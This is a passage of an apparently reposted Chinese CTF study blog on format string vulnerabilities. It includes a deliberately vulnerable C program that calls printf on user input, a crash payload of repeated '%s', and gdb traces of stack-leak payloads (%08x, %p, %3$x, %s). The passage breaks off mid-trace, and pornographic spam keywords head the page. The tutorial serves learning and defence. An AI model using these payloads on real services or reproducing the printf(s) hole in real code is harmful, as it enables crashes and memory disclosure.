久久精品国产精品国产精品污,男人扒开添女人下部免费视频,一级国产69式性姿势免费视频,夜鲁夜鲁很鲁在线视频 视频,欧美丰满少妇一区二区三区,国产偷国产偷亚洲高清人乐享,中文 在线 日韩 亚洲 欧美,熟妇人妻无乱码中文字幕真矢织江,一区二区三区人妻制服国产

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

跟着CTF-Wiki学pwn|格式化字符串(1)

發(fā)布時(shí)間:2024/3/26 编程问答 23 豆豆
生活随笔 收集整理的這篇文章主要介紹了 跟着CTF-Wiki学pwn|格式化字符串(1) 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

文章目錄

  • 格式化字符串漏洞原理介紹
    • 格式化字符串函數(shù)介紹
      • 格式化字符串函數(shù)
      • 格式化字符串
      • 參數(shù)
    • 格式化字符串漏洞原理
  • 格式化字符串漏洞利用
    • 程序崩潰
    • 泄露內(nèi)存
        • 泄露棧內(nèi)存
          • 獲取棧變量數(shù)值
          • 獲取棧變量對(duì)應(yīng)字符串
        • 泄露任意地址內(nèi)存
      • 覆蓋內(nèi)存
        • 覆蓋棧內(nèi)存
          • 確定覆蓋地址
          • 確定相對(duì)偏移
          • 進(jìn)行覆蓋
        • 覆蓋任意地址內(nèi)存
          • 覆蓋小數(shù)字
          • 覆蓋大數(shù)字

格式化字符串漏洞原理介紹

首先,對(duì)格式化字符串漏洞的原理進(jìn)行簡(jiǎn)單介紹。

格式化字符串函數(shù)介紹

格式化字符串函數(shù)可以接受可變數(shù)量的參數(shù),并將第一個(gè)參數(shù)作為格式化字符串,根據(jù)其來(lái)解析之后的參數(shù)。通俗來(lái)說(shuō),格式化字符串函數(shù)就是將計(jì)算機(jī)內(nèi)存中表示的數(shù)據(jù)轉(zhuǎn)化為我們?nèi)祟?lèi)可讀的字符串格式。幾乎所有的C/C++程序都會(huì)利用格式化字符串函數(shù)來(lái)輸出信息,調(diào)試程序,或者處理字符串。一般來(lái)說(shuō),格式化字符串在利用的時(shí)候主要分為三個(gè)部分:

  • 格式化字符串函數(shù)
  • 格式化字符串
  • 后續(xù)參數(shù)(可選)

以printf函數(shù)舉例:

格式化字符串函數(shù)

常見(jiàn)的格式化字符串函數(shù)有:

  • 輸入

    • scanf
  • 輸出

    函數(shù)基本介紹
    printf輸出到stdout
    fprintf輸出到指定FILE流
    vpirntf根據(jù)參數(shù)列表格式化輸出到stdout
    vfprintf根據(jù)參數(shù)列表格式化輸出到指定FILE流
    sprintf輸出到字符串
    snprintf輸出指定字節(jié)數(shù)到字符串
    vsprintf根據(jù)參數(shù)列表格式化輸出到字符串
    vsnprintf根據(jù)參數(shù)列表格式化輸出指定字節(jié)到字符串
    setproctitle設(shè)置argv
    syslog輸出日志
    err,verr,warn,vwarn等

格式化字符串

格式化字符串的基本格式如下:

%[parameter][flags][field width][.precision][length]type

format string-Wikipedia

  • parameter(可選)

    • n$,獲取格式化字符串中的第n個(gè)參數(shù)
  • flags(可為0個(gè)或多個(gè))

    字符描述
    +總是表示有符號(hào)數(shù)值的’+‘或’-'號(hào),缺省情況是忽略正數(shù)的符號(hào)。僅適用于數(shù)值類(lèi)型。
    空格使得有符號(hào)數(shù)的輸出如果沒(méi)有正負(fù)號(hào)或者輸出0個(gè)字符,則前綴1個(gè)空格。如果空格與’+'同時(shí)出現(xiàn),則空格說(shuō)明符被忽略。
    -左對(duì)齊。缺省情況是右對(duì)齊。
    #對(duì)于’g’與’G’,不刪除尾部0以表示精度。對(duì)于’f’,‘F’,‘e’,‘E’,‘g’,‘G’,總是輸出小數(shù)點(diǎn)。對(duì)于’o’,‘x’,‘X’,在非0數(shù)值前分別輸出前綴0,0x,and 0X表示數(shù)制。
    0如果width選項(xiàng)前綴以0,則在左側(cè)用0填充直至達(dá)到寬度要求。例如printf("%2d", 3)輸出"3",而printf("%02d", 3)輸出"03"。如果0與-均出現(xiàn),則0被忽略,即左對(duì)齊依然用空格填充。
  • field width

    • 輸出的最小寬度
  • precision

    • 輸出的最大長(zhǎng)度
  • length,輸出的長(zhǎng)度

    • hh,輸出一個(gè)字節(jié)
    • h,輸出一個(gè)雙字節(jié)
  • type

    • d/i,有符號(hào)整數(shù)
    • u,無(wú)符號(hào)整數(shù)
    • x/X,16進(jìn)制unsigned int。x使用小寫(xiě)字母;X使用大寫(xiě)字母。如果指定了精度,則輸出的數(shù)字不足時(shí)在左側(cè)補(bǔ)0。默認(rèn)精度為1.精度為0且值為0,則輸出為空。
    • o,8進(jìn)制unsigned int。如果指定了精度,則輸出的數(shù)字不足時(shí)在左側(cè)補(bǔ)0.默認(rèn)精度為1.精度為0且值為0,則輸出為空。
    • s,如果沒(méi)有用l標(biāo)志,輸出null結(jié)尾字符串直到精度規(guī)定的上限;如果沒(méi)有指定精度,則輸出所有字節(jié)。如果用了l標(biāo)志,則對(duì)應(yīng)函數(shù)參數(shù)指向wchar_t型的數(shù)組,輸出時(shí)把每個(gè)寬字符轉(zhuǎn)化為多字節(jié)字符,相當(dāng)于調(diào)用wcrtomb函數(shù)。
    • c,如果沒(méi)有用l標(biāo)志,把int參數(shù)轉(zhuǎn)為unsigned char型輸出;如果用了l標(biāo)志,把wint_t參數(shù)轉(zhuǎn)為包含兩個(gè)元素的wchart_t數(shù)組,其中第一個(gè)元素包含要輸出的字符,第二個(gè)元素為null寬字符。
    • p,void *型,輸出對(duì)應(yīng)變量的值。printf("%p",a)用地址的格式打印變量a的值,printf("%p",&a)打印變量a所在的地址。
    • n,不輸出字符,但是把已經(jīng)成功輸出的字符個(gè)數(shù)寫(xiě)入對(duì)應(yīng)的整型指針參數(shù)所指的變量。
    • %,’%'字面值,不接受任何flags,width。

參數(shù)

即相應(yīng)的要輸出的變量。

格式化字符串漏洞原理

上面說(shuō)到,格式化字符串函數(shù)是根據(jù)格式化字符串函數(shù)來(lái)進(jìn)行解析的。**那么相應(yīng)的要被解析的參數(shù)的個(gè)數(shù)也自然是由這個(gè)格式化字符串所控制。**比如說(shuō)’%s’表明我們會(huì)輸出一個(gè)字符串參數(shù)。

我們繼續(xù)以上面的為例子進(jìn)行介紹

對(duì)于這樣的例子,在進(jìn)入printf函數(shù)之前(即還沒(méi)有調(diào)用printf函數(shù)),棧上的布局由高地址到低地址依次為:

some value #假設(shè)為某個(gè)未知的值 3.14 123456 addr of "red" addr of format string: Color %s...

在進(jìn)入printf之后,函數(shù)首先獲取第一個(gè)參數(shù),一個(gè)一個(gè)讀取其字符串會(huì)遇到兩種情況:

  • 當(dāng)前字符不是 %,直接輸出到相應(yīng)標(biāo)準(zhǔn)輸出。
  • 當(dāng)前字符是%,繼續(xù)讀取下一個(gè)字符
    • 如果沒(méi)有字符,報(bào)錯(cuò)
    • 如果下一個(gè)字符是%,輸出%
    • 否則根據(jù)相應(yīng)的字符,獲取相應(yīng)的參數(shù),對(duì)其進(jìn)行解析并輸出

假設(shè)在編寫(xiě)程序的時(shí)候,寫(xiě)成了下面的樣子

printf("Color %s,Number %d,Float %4.2f");

即沒(méi)有提供參數(shù),程序應(yīng)該如何運(yùn)行?

程序照樣會(huì)運(yùn)行,會(huì)將棧上存儲(chǔ)格式化字符串地址上面的三個(gè)變量分別解析為

  • 1.解析其地址對(duì)應(yīng)的字符串
  • 2.解析其內(nèi)容對(duì)應(yīng)的整型值
  • 3.解析其內(nèi)容對(duì)應(yīng)的浮點(diǎn)值

對(duì)于2,3來(lái)說(shuō)倒還無(wú)妨,但是對(duì)于1來(lái)說(shuō),如果提供了一個(gè)不可訪問(wèn)地址,比如0,那么程序就會(huì)因此而崩潰。

這基本就是格式化字符串漏洞的基本原理了。


格式化字符串漏洞利用

其實(shí),在上一部分,我們展示了格式化字符串漏洞的兩個(gè)利用手段

  • 使程序崩潰,因?yàn)?s對(duì)應(yīng)的參數(shù)地址不合法的概率比較大。
  • 查看進(jìn)程內(nèi)容,根據(jù)%d,%f輸出了棧上的內(nèi)容。

下面我們會(huì)對(duì)于每一方面進(jìn)行更加詳細(xì)的解釋。

程序崩潰

通常來(lái)說(shuō),利用格式化字符串漏洞使得程序崩潰是最為簡(jiǎn)單的利用方式,因?yàn)槲覀冎敌枰斎肴舾蓚€(gè)%s即可

%s%s%s%s%s%s%s%s%s%s%s%s%s%s

這是因?yàn)闂I喜豢赡苊總€(gè)值都對(duì)應(yīng)了合法的地址,所以總是會(huì)有某個(gè)地址可以使得程序崩潰。這一利用,雖然攻擊者本身似乎并不能控制程序,但是這樣卻可以造成程序不可用。比如說(shuō),如果遠(yuǎn)程服務(wù)有一個(gè)格式化字符串漏洞,那么我們就可以攻擊其可用性,使服務(wù)崩潰,進(jìn)而使得用戶(hù)不能夠訪問(wèn)。

泄露內(nèi)存

利用格式化字符串的漏洞,我們還可以獲取我們所想要輸出的內(nèi)容。一般會(huì)有如下幾種操作:

  • 泄露棧內(nèi)存
    • 獲取某個(gè)變量的值
    • 獲取某個(gè)變量對(duì)應(yīng)地址的內(nèi)存
  • 泄露任意地址內(nèi)存
    • 利用GOT表得到libc函數(shù)地址,進(jìn)而獲取libc,進(jìn)而獲取其它libc函數(shù)地址
    • 盲打,dump整個(gè)程序,獲取有用信息

泄露棧內(nèi)存

例如,給定如下程序

#include <stdio.h> int main() {char s[100];int a = 1, b = 0x22222222, c = -1;scanf("%s", s);printf("%08x.%08x.%08x.%s\n", a, b, c, s);printf(s);return 0; }

然后編譯,

devil@ubuntu:~$ gcc -m32 -fno-stack-protector -no-pie -o leakmemory leakmemory.c In file included from /usr/include/stdio.h:27:0,from leakmemory.c:1: /usr/include/features.h:367:25: fatal error: sys/cdefs.h: No such file or directory compilation terminated.

這是什么奇怪的報(bào)錯(cuò)啊…

devil@ubuntu:~$ gcc -fno-stack-protector -no-pie -o leakmemory leakmemory.cleakmemory.c: In function ‘main’: leakmemory.c:7:9: warning: format not a string literal and no format arguments [-Wformat-security]printf(s);

把-m32去掉就好了。

可以看出,編譯器指出了我們的程序中沒(méi)有給出格式化字符串的參數(shù)問(wèn)題。下面我們來(lái)看一下如何獲取對(duì)應(yīng)的棧內(nèi)存。

根據(jù) C 語(yǔ)言的調(diào)用規(guī)則,格式化字符串函數(shù)會(huì)根據(jù)格式化字符串直接使用棧上自頂向上的變量作為其參數(shù) (64 位會(huì)根據(jù)其傳參的規(guī)則進(jìn)行獲取)。這里我們主要介紹 32 位。

獲取棧變量數(shù)值

首先,我們可以利用格式化字符串來(lái)獲取棧上變量的數(shù)值。我們可以試一下…

結(jié)果是運(yùn)行沒(méi)反應(yīng),考慮到可能是-m32參數(shù)沒(méi)加的原因,上網(wǎng)查了之前的報(bào)錯(cuò),可能是libc的庫(kù)有問(wèn)題。

sudo apt-get purge libc6-dev sudo apt-get install libc6-dev sudo apt-get install libc6-dev-i386

運(yùn)行還是沒(méi)反應(yīng)…我突然發(fā)現(xiàn)原來(lái)程序要先輸入…WSSB

devil@ubuntu:~$ ./leakmemory %08x.%08x.%08x 00000001.22222222.ffffffff.%08x.%08x.%08x ffab5f48.f7f07918.00f0b5ff

可以看到,我們確實(shí)得到了一些內(nèi)容。為了更加細(xì)致的觀察,我們利用 GDB 來(lái)調(diào)試一下,以便于驗(yàn)證我們的想法,這里刪除了一些不必要的信息,我們只關(guān)注代碼段以及棧。

首先,啟動(dòng)程序,將斷點(diǎn)下載 printf 函數(shù)處

devil@ubuntu:~$ gdb leakmemory gef? b printf Breakpoint 1 at 0x8048370 gef? r Starting program: /home/devil/leakmemory %08x.%08x.%08x

敲擊回車(chē),程序繼續(xù)運(yùn)行,可以看出程序首先斷在了第一次調(diào)用printf函數(shù)的位置

Breakpoint 1, __printf (format=0x80485d3 "%08x.%08x.%08x.%s\n") at printf.c:28 28 printf.c: No such file or directory. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0xffffd008 → "%08x.%08x.%08x" $ebx : 0x0 $ecx : 0x1 $edx : 0xf7fb787c → 0x00000000 $esp : 0xffffcfcc → 0x0804851d → <main+98> add esp, 0x20 $ebp : 0xffffd078 → 0x00000000 $esi : 0xf7fb6000 → 0x001b1db0 $edi : 0xf7fb6000 → 0x001b1db0 $eip : 0xf7e4d670 → <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax> $eflags: [carry parity ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffffcfcc│+0x0000: 0x0804851d → <main+98> add esp, 0x20 ← $esp 0xffffcfd0│+0x0004: 0x080485d3 → "%08x.%08x.%08x.%s\n" 0xffffcfd4│+0x0008: 0x00000001 0xffffcfd8│+0x000c: 0x22222222 0xffffcfdc│+0x0010: 0xffffffff 0xffffcfe0│+0x0014: 0xffffd008 → "%08x.%08x.%08x" 0xffffcfe4│+0x0018: 0xffffd008 → "%08x.%08x.%08x" 0xffffcfe8│+0x001c: 0xf7ffd918 → 0x00000000 ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7e4d667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]0xf7e4d66d nop 0xf7e4d66e xchg ax, ax→ 0xf7e4d670 <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax>? 0xf7f23b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]0xf7f23b5c <__x86.get_pc_thunk.ax+3> ret 0xf7f23b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]0xf7f23b60 <__x86.get_pc_thunk.dx+3> ret 0xf7f23b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp]0xf7f23b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ──── __x86.get_pc_thunk.ax ( ) ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "leakmemory", stopped 0xf7e4d670 in __printf (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7e4d670 → __printf(format=0x80485d3 "%08x.%08x.%08x.%s\n") [#1] 0x804851d → main()

可以看出,此時(shí)已經(jīng)進(jìn)入了printf函數(shù)中,**棧中的第一個(gè)變量為返回地址,第二個(gè)變量為格式化字符串的地址,第三個(gè)變量為a的值,第四個(gè)變量為b的值,第五個(gè)變量為c的值,第六個(gè)變量為我們輸入的格式化字符串對(duì)應(yīng)的地址。**繼續(xù)運(yùn)行程序。

gef? c Continuing. 00000001.22222222.ffffffff.%08x.%08x.%08x

可以看出,程序確實(shí)輸出了每一個(gè)變量對(duì)應(yīng)的數(shù)值,并且斷在了下一個(gè)printf處

Breakpoint 1, __printf (format=0xffffd008 "%08x.%08x.%08x") at printf.c:28 28 in printf.c [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0xffffd008 → "%08x.%08x.%08x" $ebx : 0x0 $ecx : 0x7fffffd6 $edx : 0xf7fb7870 → 0x00000000 $esp : 0xffffcfdc → 0x0804852c → <main+113> add esp, 0x10 $ebp : 0xffffd078 → 0x00000000 $esi : 0xf7fb6000 → 0x001b1db0 $edi : 0xf7fb6000 → 0x001b1db0 $eip : 0xf7e4d670 → <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax> $eflags: [carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffffcfdc│+0x0000: 0x0804852c → <main+113> add esp, 0x10 ← $esp 0xffffcfe0│+0x0004: 0xffffd008 → "%08x.%08x.%08x" 0xffffcfe4│+0x0008: 0xffffd008 → "%08x.%08x.%08x" 0xffffcfe8│+0x000c: 0xf7ffd918 → 0x00000000 0xffffcfec│+0x0010: 0x00f0b5ff 0xffffcff0│+0x0014: 0xffffd02e → 0xffff0000 → 0x00000000 0xffffcff4│+0x0018: 0x00000001 0xffffcff8│+0x001c: 0x000000c2 ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7e4d667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]0xf7e4d66d nop 0xf7e4d66e xchg ax, ax→ 0xf7e4d670 <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax>? 0xf7f23b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]0xf7f23b5c <__x86.get_pc_thunk.ax+3> ret 0xf7f23b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]0xf7f23b60 <__x86.get_pc_thunk.dx+3> ret 0xf7f23b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp]0xf7f23b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ──── __x86.get_pc_thunk.ax ( ) ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "leakmemory", stopped 0xf7e4d670 in __printf (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7e4d670 → __printf(format=0xffffd008 "%08x.%08x.%08x") [#1] 0x804852c → main()

此時(shí),由于格式化字符串為%x%x%x,所以,程序會(huì)將棧上的第三個(gè)地址開(kāi)始處(也就是0xffffcfe4)及其以后的數(shù)值分別作為第一、第二、第三個(gè)參數(shù)按照int型進(jìn)行解析,分別輸出。繼續(xù)運(yùn)行,我們可以得到如下結(jié)果,和想象中一致。

gef? c Continuing. ffffd008.f7ffd918.00f0b5ff[Inferior 1 (process 4193) exited normally]

當(dāng)然,我們也可以使用%p來(lái)獲取數(shù)據(jù),如下

gef? r Starting program: /home/devil/leakmemory %p.%p.%p 00000001.22222222.ffffffff.%p.%p.%p 0xffffd008.0xf7ffd918.0xf0b5ff[Inferior 1 (process 4253) exited normally]

這里需要注意的是,并不是每次得到的結(jié)果都一樣 ,因?yàn)闂I系臄?shù)據(jù)會(huì)因?yàn)槊看畏峙涞膬?nèi)存頁(yè)不同而有所不同,這是因?yàn)闂J遣粚?duì)內(nèi)存頁(yè)做初始化的。

那么有沒(méi)有辦法直接獲取棧中被視為第n+1個(gè)參數(shù)的值呢?

方法如下:

%n$x

利用如上的字符串,我們就可以獲取到對(duì)應(yīng)的第 n+1 個(gè)參數(shù)的數(shù)值。為什么這里要說(shuō)是對(duì)應(yīng)第 n+1 個(gè)參數(shù)呢?這是因?yàn)楦袷交瘏?shù)里面的 n 指的是該格式化字符串對(duì)應(yīng)的第 n 個(gè)輸出參數(shù),那相對(duì)于輸出函數(shù)來(lái)說(shuō),就是第 n+1 個(gè)參數(shù)了。

我們?cè)俅我詆db調(diào)試一下。

devil@ubuntu:~$ gdb leakmemory gef? b printf Breakpoint 1 at 0x8048370 gef? r Starting program: /home/devil/leakmemory %3$xBreakpoint 1, __printf (format=0x80485d3 "%08x.%08x.%08x.%s\n") at printf.c:28 28 printf.c: No such file or directory. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0xffffd008 → "%3$x" $ebx : 0x0 $ecx : 0x1 $edx : 0xf7fb787c → 0x00000000 $esp : 0xffffcfcc → 0x0804851d → <main+98> add esp, 0x20 $ebp : 0xffffd078 → 0x00000000 $esi : 0xf7fb6000 → 0x001b1db0 $edi : 0xf7fb6000 → 0x001b1db0 $eip : 0xf7e4d670 → <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax> $eflags: [carry parity ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffffcfcc│+0x0000: 0x0804851d → <main+98> add esp, 0x20 ← $esp 0xffffcfd0│+0x0004: 0x080485d3 → "%08x.%08x.%08x.%s\n" 0xffffcfd4│+0x0008: 0x00000001 0xffffcfd8│+0x000c: 0x22222222 0xffffcfdc│+0x0010: 0xffffffff 0xffffcfe0│+0x0014: 0xffffd008 → "%3$x" 0xffffcfe4│+0x0018: 0xffffd008 → "%3$x" 0xffffcfe8│+0x001c: 0xf7ffd918 → 0x00000000 ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7e4d667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]0xf7e4d66d nop 0xf7e4d66e xchg ax, ax→ 0xf7e4d670 <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax>? 0xf7f23b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]0xf7f23b5c <__x86.get_pc_thunk.ax+3> ret 0xf7f23b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]0xf7f23b60 <__x86.get_pc_thunk.dx+3> ret 0xf7f23b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp]0xf7f23b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ──── __x86.get_pc_thunk.ax ( ) ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "leakmemory", stopped 0xf7e4d670 in __printf (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7e4d670 → __printf(format=0x80485d3 "%08x.%08x.%08x.%s\n") [#1] 0x804851d → main()gef? c Continuing. 00000001.22222222.ffffffff.%3$xBreakpoint 1, __printf (format=0xffffd008 "%3$x") at printf.c:28 28 in printf.c [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0xffffd008 → "%3$x" $ebx : 0x0 $ecx : 0x7fffffe0 $edx : 0xf7fb7870 → 0x00000000 $esp : 0xffffcfdc → 0x0804852c → <main+113> add esp, 0x10 $ebp : 0xffffd078 → 0x00000000 $esi : 0xf7fb6000 → 0x001b1db0 $edi : 0xf7fb6000 → 0x001b1db0 $eip : 0xf7e4d670 → <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax> $eflags: [carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffffcfdc│+0x0000: 0x0804852c → <main+113> add esp, 0x10 ← $esp 0xffffcfe0│+0x0004: 0xffffd008 → "%3$x" 0xffffcfe4│+0x0008: 0xffffd008 → "%3$x" 0xffffcfe8│+0x000c: 0xf7ffd918 → 0x00000000 0xffffcfec│+0x0010: 0x00f0b5ff 0xffffcff0│+0x0014: 0xffffd02e → 0xffff0000 → 0x00000000 0xffffcff4│+0x0018: 0x00000001 0xffffcff8│+0x001c: 0x000000c2 ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7e4d667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]0xf7e4d66d nop 0xf7e4d66e xchg ax, ax→ 0xf7e4d670 <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax>? 0xf7f23b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]0xf7f23b5c <__x86.get_pc_thunk.ax+3> ret 0xf7f23b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]0xf7f23b60 <__x86.get_pc_thunk.dx+3> ret 0xf7f23b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp]0xf7f23b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ──── __x86.get_pc_thunk.ax ( ) ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "leakmemory", stopped 0xf7e4d670 in __printf (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7e4d670 → __printf(format=0xffffd008 "%3$x") [#1] 0x804852c → main()gef? c Continuing. f0b5ff[Inferior 1 (process 4290) exited normally]

棧上第一個(gè)值是返回地址,第二個(gè)值是格式化字符串地址,第三個(gè)是格式化字符串第一個(gè)參數(shù),第四個(gè)是格式化字符串第二個(gè)參數(shù),第五個(gè)是格式化字符串第三個(gè)參數(shù),也就是我們要輸出的0x00f0b5ff。注意,格式化字符串的第三個(gè)參數(shù)是printf函數(shù)輸出的第四個(gè)參數(shù)。

獲取棧變量對(duì)應(yīng)字符串

此外,我們還可以獲得棧變量對(duì)應(yīng)的字符串,這其實(shí)就是需要用到 %s 了。這里還是使用上面的程序,進(jìn)行 gdb 調(diào)試,如下

devil@ubuntu:~$ gdb leakmemory gef? b printf Breakpoint 1 at 0x8048370 gef? r Starting program: /home/devil/leakmemory %sBreakpoint 1, __printf (format=0x80485d3 "%08x.%08x.%08x.%s\n") at printf.c:28 28 printf.c: No such file or directory. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0xffffd008 → 0x00007325 ("%s"?) $ebx : 0x0 $ecx : 0x1 $edx : 0xf7fb787c → 0x00000000 $esp : 0xffffcfcc → 0x0804851d → <main+98> add esp, 0x20 $ebp : 0xffffd078 → 0x00000000 $esi : 0xf7fb6000 → 0x001b1db0 $edi : 0xf7fb6000 → 0x001b1db0 $eip : 0xf7e4d670 → <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax> $eflags: [carry parity ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffffcfcc│+0x0000: 0x0804851d → <main+98> add esp, 0x20 ← $esp 0xffffcfd0│+0x0004: 0x080485d3 → "%08x.%08x.%08x.%s\n" 0xffffcfd4│+0x0008: 0x00000001 0xffffcfd8│+0x000c: 0x22222222 0xffffcfdc│+0x0010: 0xffffffff 0xffffcfe0│+0x0014: 0xffffd008 → 0x00007325 ("%s"?) 0xffffcfe4│+0x0018: 0xffffd008 → 0x00007325 ("%s"?) 0xffffcfe8│+0x001c: 0xf7ffd918 → 0x00000000 ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7e4d667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]0xf7e4d66d nop 0xf7e4d66e xchg ax, ax→ 0xf7e4d670 <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax>? 0xf7f23b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]0xf7f23b5c <__x86.get_pc_thunk.ax+3> ret 0xf7f23b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]0xf7f23b60 <__x86.get_pc_thunk.dx+3> ret 0xf7f23b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp]0xf7f23b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ──── __x86.get_pc_thunk.ax ( ) ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "leakmemory", stopped 0xf7e4d670 in __printf (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7e4d670 → __printf(format=0x80485d3 "%08x.%08x.%08x.%s\n") [#1] 0x804851d → main()gef? c Continuing. 00000001.22222222.ffffffff.%sBreakpoint 1, __printf (format=0xffffd008 "%s") at printf.c:28 28 in printf.c [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0xffffd008 → 0x00007325 ("%s"?) $ebx : 0x0 $ecx : 0x7fffffe2 $edx : 0xf7fb7870 → 0x00000000 $esp : 0xffffcfdc → 0x0804852c → <main+113> add esp, 0x10 $ebp : 0xffffd078 → 0x00000000 $esi : 0xf7fb6000 → 0x001b1db0 $edi : 0xf7fb6000 → 0x001b1db0 $eip : 0xf7e4d670 → <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax> $eflags: [carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffffcfdc│+0x0000: 0x0804852c → <main+113> add esp, 0x10 ← $esp 0xffffcfe0│+0x0004: 0xffffd008 → 0x00007325 ("%s"?) 0xffffcfe4│+0x0008: 0xffffd008 → 0x00007325 ("%s"?) 0xffffcfe8│+0x000c: 0xf7ffd918 → 0x00000000 0xffffcfec│+0x0010: 0x00f0b5ff 0xffffcff0│+0x0014: 0xffffd02e → 0xffff0000 → 0x00000000 0xffffcff4│+0x0018: 0x00000001 0xffffcff8│+0x001c: 0x000000c2 ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7e4d667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]0xf7e4d66d nop 0xf7e4d66e xchg ax, ax→ 0xf7e4d670 <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax>? 0xf7f23b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]0xf7f23b5c <__x86.get_pc_thunk.ax+3> ret 0xf7f23b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]0xf7f23b60 <__x86.get_pc_thunk.dx+3> ret 0xf7f23b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp]0xf7f23b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ──── __x86.get_pc_thunk.ax ( ) ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "leakmemory", stopped 0xf7e4d670 in __printf (), reason: 